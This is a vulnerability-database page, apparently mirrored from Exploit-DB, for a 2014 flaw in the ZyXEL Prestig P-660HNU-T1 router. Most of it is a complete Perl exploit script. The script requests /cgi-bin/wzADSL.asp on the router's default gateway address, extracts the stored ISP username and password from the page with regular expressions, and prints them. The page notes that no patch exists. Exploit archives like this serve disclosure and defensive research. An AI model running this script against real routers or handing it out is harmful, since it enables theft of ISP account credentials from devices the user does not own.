ZyXEL Prestig MODELO P-660HNU-T1v2 local ISP usr+pwd

vendor:

Prestig P-660HNU-T1

by:

Sebastián Magof

CVSS

LOW

Local

N/A

CWE

Product Name: Prestig P-660HNU-T1

Affected Version From: 2.00(AAIJ.1)

Affected Version To: 2.00(AAIJ.1)

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux Fedora 20/Windows 7

2014

ZyXEL Prestig MODELO P-660HNU-T1v2 local ISP usr+pwd

This exploit discloses the ISP username and password of ZyXEL Prestig MODELO P-660HNU-T1v2 router. It uses the LWP::UserAgent and HTTP::Request Perl modules to send a GET request to the vulnerable file wzADSL.asp located at http://gateway/cgi-bin/wzADSL.asp. The exploit then parses the response content to extract the username and password.

Mitigation:

N/A

Source

Exploit-DB raw data:

#!/usr/bin/perl 
# Exploit Author: Sebastián Magof 
# Hardware: ZyXEL Prestig P-660HNU-T1
# Vulnerable file: wzADSL.asp
# location: http://gateway/cgi-bin/wzADSL.asp
# Bug: ISP usr+pwd disclosure 
# Type: Local 
# Date: 22/09/2014
# Vendor Homepage: http://www.zyxel.com/
# Version: 2.00(AAIJ.1)
# Tested on: Linux Fedora 20/Windows 7
# (\/)
# (**) Alpha (:
#(")(")
#usage:perl exploit.pl
use LWP::UserAgent;
use HTTP::Request;
#begin
print "\n\n************************************************************\n";
print "* ZyXEL Prestig MODELO P-660HNU-T1v2 local ISP usr+pwd     *\n";#default gateway 192.168.1.1 (Arnet Telecom ISP Argentina) 
print "************************************************************\n\n";#in oher country modify $url line 25

 
#isp pwd disclosure file
my $url = "http://192.168.1.1/cgi-bin/wzADSL.asp";
  
 
#UserAgent
my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0");
  
 
#Request.
my $req = HTTP::Request->new(GET => $url);
my $request = $ua->request($req);
my $content = $request->content(); #content
my ($usr) = $content =~ m/name="wan_UserName" size="30" maxlength="128" value="(.+)" >/;
my ($pwd) = $content =~ m/name="wan_Password" size="30" maxlength="128" value="(.+)">/;
#ISP usr+pwd Arnet Telecom Argentina;
print "User: $usr\n";
print "Password: $pwd\n\n";
exit(0);
 
 
 
__EOF__